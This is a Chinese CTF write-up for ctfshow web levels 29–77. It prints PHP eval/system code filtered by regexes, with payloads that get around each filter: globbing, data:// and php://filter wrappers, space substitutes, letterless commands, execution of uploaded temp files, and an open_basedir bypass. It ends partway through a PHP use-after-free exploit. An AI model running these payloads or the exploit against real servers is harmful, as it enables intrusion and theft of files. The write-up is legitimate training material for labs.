做網(wǎng)站建設(shè)的合同域名訪問(wèn)網(wǎng)站
目錄
web29? 過(guò)濾flag
web30?? 過(guò)濾system php
web31 過(guò)濾??? cat|sort|shell|\.
這里有一個(gè)新姿勢(shì) 可以學(xué)習(xí)一下
web32 過(guò)濾 ;`` '' .
web33
web34
web35
web36
web37 data偽協(xié)議
web38 短開(kāi)表達(dá)式
web39
web40?? __FILE__命令的擴(kuò)展
web41
web42 重定向
web43
web44
web45
web46
web47
web48
web49
web50
web51
?web52
web53
web54? c=/bin/?at${IFS}fla?????
web55?? base64返回值? bzip2解壓后下載
base64
?bzip2
web56? 通過(guò)文件上傳和 . 來(lái)執(zhí)行命令
要注意 如果過(guò)濾了 空格 就無(wú)法實(shí)現(xiàn) 并且要通過(guò)system函數(shù)
web57? 過(guò)濾數(shù)字 但是通過(guò)shell拼湊數(shù)字的方式
0x01
web58? show_source
web59
web60
web62-65
web66? show_source被禁用
web67? print_r被禁用
web68 highlight_file被禁用
web69? var_dump 被禁用
web70
web71? ob_end_clean 清零緩沖區(qū)? UAF命令執(zhí)行
web72? bypass open_basedir
web73
web74
web75 PDD執(zhí)行讀取文件
web76
web77? FFI?(PHP 7 >= 7.4.0, PHP 8)
web29? 過(guò)濾flag
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}
這里能發(fā)現(xiàn)是匹配flag? 但是存在高亮 高亮有需要路徑
同時(shí)存在eval? 命令執(zhí)行
所以我們傳入命令
但是過(guò)濾了flag
我們看看怎么繞過(guò)
?c=system("ls ./");
發(fā)現(xiàn)了 flag
我們繞過(guò)正則匹配flag字符串
payload1: ?c=system("cat f*"); f*匹配 f開(kāi)頭的文件
payload2: ?c=system("cat fl\ag.php");
payload3: ?c=system("cat fla?????"); 一定要5個(gè) 因?yàn)?? 匹配一個(gè)任意字符
payload4: ?c=echo `cat fl""ag.php`; `` 內(nèi)聯(lián)
payload5: ?c=eval($_GET['1']);&1=system('cat flag.php');
web30?? 過(guò)濾system php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php/i", $c)){
過(guò)濾了關(guān)鍵詞eval($c);}}else{highlight_file(__FILE__);
}
system 可以使用
exec代替
還存在很多
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引號(hào) 同shell_exec()
php可以使用???代替
payload1: ?c=echo exec("cat f*");
payload2: ?c=echo exec("cat fla?????");
web31 過(guò)濾??? cat|sort|shell|\.
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}
cat被過(guò)濾了
我們可以使用
more:一頁(yè)一頁(yè)的顯示檔案內(nèi)容less:與 more 類似 head:查看頭幾行tac:從最后一行開(kāi)始顯示,可以看出 tac 是cat 的反向顯示tail:查看尾幾行nl:顯示的時(shí)候,順便輸出行號(hào)od:以二進(jìn)制的方式讀取檔案內(nèi)容vi:一種編輯器,這個(gè)也可以查看vim:一種編輯器,這個(gè)也可以查看sort:可以查看
payload1: ?c=eval($_GET[1]);&1=system('cat f*');
payload2: ?c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php
這里有一個(gè)新姿勢(shì) 可以學(xué)習(xí)一下
我們首先了解一下代碼
__FILE__ 表示當(dāng)前文件
完整路徑和文件名dirname()
獲取一個(gè)網(wǎng)站路徑的目錄名scandir()讀取目錄的文件 然后作為一個(gè)數(shù)組print_r()打印數(shù)組內(nèi)容
print_r(scnandir(dirname(__FILE__)));1.執(zhí)行 __FILE__ 獲取當(dāng)前文件的完整路徑 例如 /var/www/html/1.php2.執(zhí)行dirname 獲取目錄名 即 /var/www/html3.將目錄下的內(nèi)容轉(zhuǎn)為數(shù)組 4.通過(guò)print_r數(shù)組輸出
這里能發(fā)現(xiàn)當(dāng)前目錄下存在 flag.php 和 index.php
通過(guò)這個(gè)我們可以讀取 目錄文件
然后我們需要選中文件
print_r(next(array_reverse(scandir(dirname((__FILE__))))));array_reverse() 倒序排列next() 指向數(shù)組下一元素其實(shí)可以直接選擇?c=print_r(scandir(dirname((__FILE__)))[2]);
最后通過(guò)高亮返回代碼即可
?c=highlight_file(scandir(dirname((__FILE__)))[2]);
?web32 過(guò)濾 ;`` '' .
這道題把我們的 ) 也過(guò)濾了 所以剛剛學(xué)會(huì)的東西 沒(méi)辦法了
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}
主要是符號(hào)的過(guò)濾
所以這道題
我們可以使用
payload1: ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
payload2: ?c=include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?>
web33
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}
和32差不多
過(guò)濾的東西不影響我們通過(guò)逃逸參數(shù)1?
/?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
web34
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}
好像還是可以使用
只是多過(guò)濾了一個(gè) ;
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
web35
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}
一樣的 只要沒(méi)過(guò)濾 include 我們就可以使用之前的payload
這題我們使用看看 require
/?c=require$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
?web36
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}過(guò)濾了數(shù)字 " =
沒(méi)什么 只要把參數(shù)1 變?yōu)?a? 就可以繞過(guò)了
/?c=require$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web37 data偽協(xié)議
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){include($c);echo $flag;}}else{highlight_file(__FILE__);
}
匹配flag的字符串
這里不能使用php://filter來(lái)讀取 因?yàn)檫^(guò)濾了flag
但是我們可以使用data偽協(xié)議
?c=data://text/plain,<?php system('tac fla?.php');?>
?在data中 還可以指定 ;base64
data://text/plain;bvase64,base64加密后的命令
web38 短開(kāi)表達(dá)式
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|php|file/i", $c)){include($c);echo $flag;}}else{highlight_file(__FILE__);
}
?c=data://text/plain,<?=system('tac fla?.?hp');?>
?這里是使用了短開(kāi)表達(dá)式
<?=? 相當(dāng)于 <?php echo?? 對(duì)后面的php也模糊匹配
就可以了
web39
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){include($c.".php");}}else{highlight_file(__FILE__);
}
?c=data://text/plain,<?php system('tac fla?.php');?>
因?yàn)閐ata是將后面的php直接執(zhí)行
web40?? __FILE__命令的擴(kuò)展
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){eval($c);}}else{highlight_file(__FILE__);
} 過(guò)濾了很多符號(hào)和數(shù)字
這里沒(méi)有過(guò)濾字母
可以使用我們之前的姿勢(shì)來(lái)讀取
?c=highlight_file(next(array_reverse((scandir(dirname((__FILE__)))))));
這里補(bǔ)充一下知識(shí)點(diǎn)
__FILE__:當(dāng)前文件的目錄print_r 數(shù)組的輸出print_r(dirname(__FILE__));可以打印出當(dāng)前文件的父級(jí)目錄print_r(scandir(dirname(__FILE__)));把父級(jí)目錄中的文件 通過(guò)數(shù)組來(lái)打印出來(lái)array_reverse()倒敘輸出next()
指向當(dāng)前指針的下一位end()
指向數(shù)組最后一位reset()
指向數(shù)組第一個(gè)prev()
指針往回走一位each()
返回當(dāng)前指針的值 并且指針向前走一位
web41
這道題就是使用師傅的腳本來(lái)跑就可以了
web42 重定向
if(isset($_GET['c'])){$c=$_GET['c'];system($c." >/dev/null 2>&1");
}else{highlight_file(__FILE__);
}
system($c." >/dev/null 2>&1");我們的標(biāo)準(zhǔn)輸入為 1 輸出為2這個(gè)其實(shí)可分解1>/dev/null 輸入輸出到null 黑洞2>&1 輸出設(shè)為輸入其實(shí)就是直接把命令拋棄
這道題目我們直接使用 截?cái)嗉纯?/p>
payload1: ls%0a
payload2: ls;
payload3: ls&&ls 這里的&&需要url編碼 %26%26
payload1: cat flag.php%0a
payload2: cat flag.php;
payload3: cat flag.php&&ls 這里的&&需要url編碼 %26%26
?web43
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}
過(guò)濾cat 和 分號(hào)
payload1: ls%26%26ls
payload2: ls%0a
payload1:tac flag.php%0a
payload2 tac flag.php%26%26ls
pay
?
?web44
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/;|cat|flag/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}
加了過(guò)濾flag 可以使用模糊匹配
payload1:tac fla?.php%0a
payload2 tac fla?.php%26%26ls
web45
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| /i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}
加了個(gè)空格過(guò)濾
${IFS}
$IFS$9
<
<>
payload1:tac$IFS$9fla?.php%0a
payload2 tac$IFS$9fla?.php%26%26ls
?web46
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}
過(guò)濾數(shù)字 $ 還有*
%09 是 tab的url編碼
tac%09fla?.php%0a
tac%09fla?.php%26%26ls
?web47
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}
過(guò)濾了更多的命令 用上一個(gè)payload接著打
tac%09fla?.php%0a
tac%09fla?.php%26%26ls
web48
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}
好像還是可以接著打
只是過(guò)濾了更多的命令和 內(nèi)聯(lián)執(zhí)行
tac%09fla?.php%0a
tac%09fla?.php%26%26ls
web49
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}
但是我們這個(gè)在瀏覽器解析 自動(dòng)會(huì)解析為 tab和換行
所以過(guò)濾無(wú)法過(guò)濾
所以接著打
tac%09fla?.php%0a
tac%09fla?.php%26%26ls
web50
*/if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}
發(fā)現(xiàn)過(guò)濾了26和09的編碼
并且這個(gè)題目的 ? 無(wú)法使用 所以我們需要通過(guò) 繞過(guò) 因?yàn)檎齽t只匹配flag完整字符串
tac<fla''g.php%0a
tac<fla''g.php||ls
web51
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}
過(guò)濾了一些輸出的命令
nl<fla''g.php%0a
nl<fla''g.php||ls
?web52
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){system($c." >/dev/null 2>&1");}
}else{highlight_file(__FILE__);
}
發(fā)現(xiàn)又過(guò)濾了 <>? 但是把我們的 $放出來(lái)了
這里我們首先先看看ls
?c=ls||
直接訪問(wèn)一下flag.php
/?c=nl${IFS}fla''g.php||
?發(fā)現(xiàn)沒(méi)有
我們看看根目錄
?c=ls${IFS}/||
發(fā)現(xiàn)了flag
直接訪問(wèn)
?c=nl${IFS}/fla''g||
?web53
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){echo($c);$d = system($c);echo "<br>".$d;}else{echo 'no';}
}else{highlight_file(__FILE__);
}
/?c=nl${IFS}fla?.php
?
?web54? c=/bin/?at${IFS}fla?????
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
}
發(fā)現(xiàn)nl也過(guò)濾了
這里還有其他讀取的方式
?c=paste${IFS}fla?.php
或者繼續(xù)使用cat
?通過(guò)模糊匹配
?c=/bin/?at${IFS}fla?????
web55?? base64返回值? bzip2解壓后下載
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
}
過(guò)濾a-z字母
base64
我們可以通過(guò)bin下的base64命令返回
?c=/???/????64 ????.???
?
?bzip2
bzip是存在 /usr/bin/bzip2
所以我們構(gòu)造
?c=/???/???/????2 ????.???
然后訪問(wèn)
/flag.php.bz2
得到文件
web56? 通過(guò)文件上傳和 . 來(lái)執(zhí)行命令
要注意 如果過(guò)濾了 空格 就無(wú)法實(shí)現(xiàn) 并且要通過(guò)system函數(shù)
\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\%|\x09|\x26|\x0a|\>|\,|\*|\<|這個(gè)情況的過(guò)濾不可使用\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\%|\x09|\x26|\x0a|\>|\,|\*|\<這個(gè)情況下的過(guò)濾可以使用因?yàn)榈谝粋€(gè)是會(huì)匹配所有字符在自己測(cè)試這里蠢了 困擾了很久
無(wú)字母數(shù)字的命令執(zhí)行(ctfshow web入門 55)_無(wú)字母數(shù)字執(zhí)行命令_Firebasky的博客-CSDN博客
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
// 你們?cè)陟偶紗?#xff1f;
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
}
過(guò)濾了很多符號(hào)
過(guò)濾了數(shù)字和字母
我們無(wú)法使用數(shù)字和字母來(lái)執(zhí)行命令
但是其沒(méi)有過(guò)濾 . (點(diǎn))
這道題主要的方向
1.沒(méi)有過(guò)濾.
在linux中 .不需要x權(quán)限就可以執(zhí)行所以我們?nèi)绻幸粋€(gè)可控的文件
那么我們可以直接執(zhí)行這個(gè)文件2.我們?nèi)绻蟼饕粋€(gè)文件 一般情況下是臨時(shí)保存在 ./tmp/phpXXXXXX中其中后六位是隨機(jī)生成的大小寫字母
這里我們就可以通過(guò)本地的網(wǎng)站 鏈接到 攻擊的靶場(chǎng) 然后通過(guò)post文件
達(dá)到執(zhí)行我們上傳的木馬文件
但是我們?nèi)绾瓮ㄟ^(guò)過(guò)濾去訪問(wèn)文件呢
./tmp/phpXXXXXX 首先我們可以通過(guò) ? 來(lái)模糊匹配./???/???XXXXXX 那我們?nèi)绾纹ヅ浜竺娴哪匾驗(yàn)?tmp/ 下會(huì)有很多類似的文件所以我們可以通過(guò)正則匹配來(lái)匹配文件
我們能發(fā)現(xiàn)
?大寫字母在 @和[之間
那我們只需要通過(guò)正則匹配 @-[即可
所以我們get的方式就是
?c=.+/???/????????[@-[]
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>POST數(shù)據(jù)包POC</title>
</head>
<body>
<form action="http://cd3eb1d9-31ec-4644-b057-c38153f6a911.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--鏈接是當(dāng)前打開(kāi)的題目鏈接--><label for="file">文件名:</label><input type="file" name="file" id="file"><br><input type="submit" name="submit" value="提交">
</form>
</body>
</html>
本地搭建發(fā)送包的文件
隨便上傳一個(gè)文件
?這樣就行了
然后通過(guò)pwd 執(zhí)行絕對(duì)路徑
cat /var/www/html/flag.php
如果沒(méi)有回顯就多發(fā)幾次 因?yàn)樽詈笠晃徊灰欢ㄊ谴髮?/p>
web57? 過(guò)濾數(shù)字 但是通過(guò)shell拼湊數(shù)字的方式
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-08 01:02:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/// 還能炫的動(dòng)嗎?
//flag in 36.php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){system("cat ".$c.".php");}
}else{highlight_file(__FILE__);
}
發(fā)現(xiàn)過(guò)濾了 ? . 所以56的方法也無(wú)法實(shí)現(xiàn)
這里提示我們 flag是在36.php處
需要運(yùn)用到linux shell的特性
0x01
${_} 返回上一條命令
?
?那我們?nèi)绻麤](méi)有命令呢
$(())
做運(yùn)算
那如果我們將 ${_}的值放入是多少呢
echo $((${_}))
?
這里就相當(dāng)于 $((0))?? 將0 做運(yùn)算 那么就是 0
那我們?nèi)绻?通過(guò) ~ 取反呢
發(fā)現(xiàn)取反后是-1
那我們?nèi)绻胍?2怎么辦
-1-1=-2
?所以我們只需要將兩個(gè) -1做運(yùn)算即可
echo $(($((~${_}))$((~${_}))))
那我們想要-3也很簡(jiǎn)單了
echo $(($((~${_}))$((~${_}))$((~${_}))))
那既然他說(shuō)是在 36.php 那我們直接拼湊 -36出來(lái)
echo $(($((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))))
?
?那我們?cè)僮鲆淮稳》醇纯?/p>
但是取反后是35 所以我們?cè)谧詈笤偌右粋€(gè)即可
echo $((~$(($((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))$((~${_}))))))echo $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
?現(xiàn)在我們就可以直接訪問(wèn)36了
但是我們無(wú)法知道命令
所以我們可以使用
$(($(())))0$(($((~$(())))$((~$(())))))-2$(($((~$(())))$((~$(())))$((~$(())))))-3
但是其實(shí)兩個(gè)方式都可以訪問(wèn) 只是第一個(gè)著重于命令
web58? show_source
<?php/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/// 你們?cè)陟偶紗?#xff1f;
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}
發(fā)現(xiàn)是變?yōu)?POST了
首先通過(guò)post傳遞system()
c=system(ls);
?
?發(fā)現(xiàn)禁用了
?其他函數(shù)都被禁用了
所以只能使用php內(nèi)置函數(shù)
c=print_r(scandir(dirname(__FILE__)));
c=highlight_file(scandir(dirname(__FILE__))[2]);
或者直接使用show_source來(lái)讀取
c=show_source('flag.php');
web59
<?php/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/// 你們?cè)陟偶紗?#xff1f;
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}
繼續(xù)嘗試
c=highlight_file(scandir(dirname(__FILE__))[2]);
這個(gè)方法還是可以
發(fā)現(xiàn)題目是一樣的 我也不懂
c=show_source('flag.php');
web60
<?php/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/// 你們?cè)陟偶紗?#xff1f;
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}
發(fā)現(xiàn)還是一樣的
web62-65
全是一樣的。。。。
web66? show_source被禁用
<?php/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/// 你們?cè)陟偶紗?#xff1f;
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}
c=highlight_file(scandir(dirname(__FILE__))[2]);
?發(fā)現(xiàn)文件不對(duì)
那我們直接去根目錄看看
c=print_r(scandir('/'));
?發(fā)現(xiàn)了flag.txt那我們直接讀取就可以了
c=highlight_file('/'.scandir('/')[6]);c=highlight_file(/flag.txt);
web67? print_r被禁用
?發(fā)現(xiàn)print_r被禁用了
那我們還有一個(gè)var_dump
c=var_dump(scandir('/'));
讀取即可
c=highlight_file('/flag.txt');
web68 highlight_file被禁用
?一打開(kāi)就是 報(bào)錯(cuò)
那我們就知道是 highlight_file 被禁止
我們繼續(xù)看看
c=var_dump(scandir('/'));
那我們直接包含 flag.txt文件
c=include('/flag.txt');
web69? var_dump 被禁用
?那我們可以使用另一個(gè)
c=var_export(scandir('/'));
?然后繼續(xù)include訪問(wèn)
c=include('/flag.txt');
web70
?和上一題一樣做法
c=var_export(scandir('/'));
c=include('/flag.txt');
web71? ob_end_clean 清零緩沖區(qū)? UAF命令執(zhí)行
?給了我們?cè)创a
<?php/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
ini_set('display_errors', 0);
// 你們?cè)陟偶紗?#xff1f;
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);$s = ob_get_contents();
結(jié)果存入緩沖區(qū)ob_end_clean();
刪除清楚緩沖區(qū)echo preg_replace("/[0-9]|[a-z]/i","?",$s);
如果 s存在 數(shù)字字母就用 ?代替
}else{highlight_file(__FILE__);
}?>你要上天嗎?
這里主要是兩個(gè)函數(shù)
ob_get_contents()
得到的值存入緩沖區(qū)
ob_end_clean()
將緩沖區(qū)清除
這里能發(fā)現(xiàn)第一次的輸出 沒(méi)有實(shí)現(xiàn)
而是輸出了第二次的
那我們思考 我們能不能直接輸入一個(gè)exit() 退出指令
讓程序執(zhí)行完我們的命令后直接退出
c=include('/flag.txt');exit();
?首先我們看看沒(méi)有exit函數(shù)的情況
?訪問(wèn)兩個(gè)flag
?發(fā)現(xiàn)會(huì)先讀取 然后就進(jìn)行緩沖區(qū)的刪除 因?yàn)槲覜](méi)有送入緩沖區(qū) 所以沒(méi)有顯示
?發(fā)現(xiàn) 我們只要加了函數(shù)后 程序就退出了
所以執(zhí)行完include后 執(zhí)行exit 這樣就退出了 就不會(huì)執(zhí)行下面的函數(shù)了
這樣我們這道題也做完了
c=include('/flag.txt');exit();
?
web72? bypass open_basedir
<?php/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
ini_set('display_errors', 0);
// 你們?cè)陟偶紗?#xff1f;
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);$s = ob_get_contents();ob_end_clean();echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{highlight_file(__FILE__);
}?>你要上天嗎?
這里遇到了open_basedr的限制
繞過(guò) open_basedir_雙層小牛堡的博客-CSDN博客
學(xué)習(xí)完后來(lái)測(cè)試這個(gè)題目
通過(guò) glob協(xié)議配合函數(shù)接口繞過(guò) open_basedir 然后再繞過(guò) 緩沖區(qū)清零清理
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);?>
繞過(guò)了 并且打印了 根目錄的內(nèi)容 那么我們 看看能不能訪問(wèn)
對(duì)于uaf 了解很少? 應(yīng)該是pwn的內(nèi)容
<?phpfunction ctfshow($cmd) {global $abc, $helper, $backtrace;class Vuln {public $a;public function __destruct() { global $backtrace; unset($this->a);$backtrace = (new Exception)->getTrace();if(!isset($backtrace[1]['args'])) {$backtrace = debug_backtrace();}}}class Helper {public $a, $b, $c, $d;}function str2ptr(&$str, $p = 0, $s = 8) {$address = 0;for($j = $s-1; $j >= 0; $j--) {$address <<= 8;$address |= ord($str[$p+$j]);}return $address;}function ptr2str($ptr, $m = 8) {$out = "";for ($i=0; $i < $m; $i++) {$out .= sprintf("%c",($ptr & 0xff));$ptr >>= 8;}return $out;}function write(&$str, $p, $v, $n = 8) {$i = 0;for($i = 0; $i < $n; $i++) {$str[$p + $i] = sprintf("%c",($v & 0xff));$v >>= 8;}}function leak($addr, $p = 0, $s = 8) {global $abc, $helper;write($abc, 0x68, $addr + $p - 0x10);$leak = strlen($helper->a);if($s != 8) { $leak %= 2 << ($s * 8) - 1; }return $leak;}function parse_elf($base) {$e_type = leak($base, 0x10, 2);$e_phoff = leak($base, 0x20);$e_phentsize = leak($base, 0x36, 2);$e_phnum = leak($base, 0x38, 2);for($i = 0; $i < $e_phnum; $i++) {$header = $base + $e_phoff + $i * $e_phentsize;$p_type = leak($header, 0, 4);$p_flags = leak($header, 4, 4);$p_vaddr = leak($header, 0x10);$p_memsz = leak($header, 0x28);if($p_type == 1 && $p_flags == 6) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;$data_size = $p_memsz;} else if($p_type == 1 && $p_flags == 5) { $text_size = $p_memsz;}}if(!$data_addr || !$text_size || !$data_size)return false;return [$data_addr, $text_size, $data_size];}function get_basic_funcs($base, $elf) {list($data_addr, $text_size, $data_size) = $elf;for($i = 0; $i < $data_size / 8; $i++) {$leak = leak($data_addr, $i * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);if($deref != 0x746e6174736e6f63)continue;} else continue;$leak = leak($data_addr, ($i + 4) * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);if($deref != 0x786568326e6962)continue;} else continue;return $data_addr + $i * 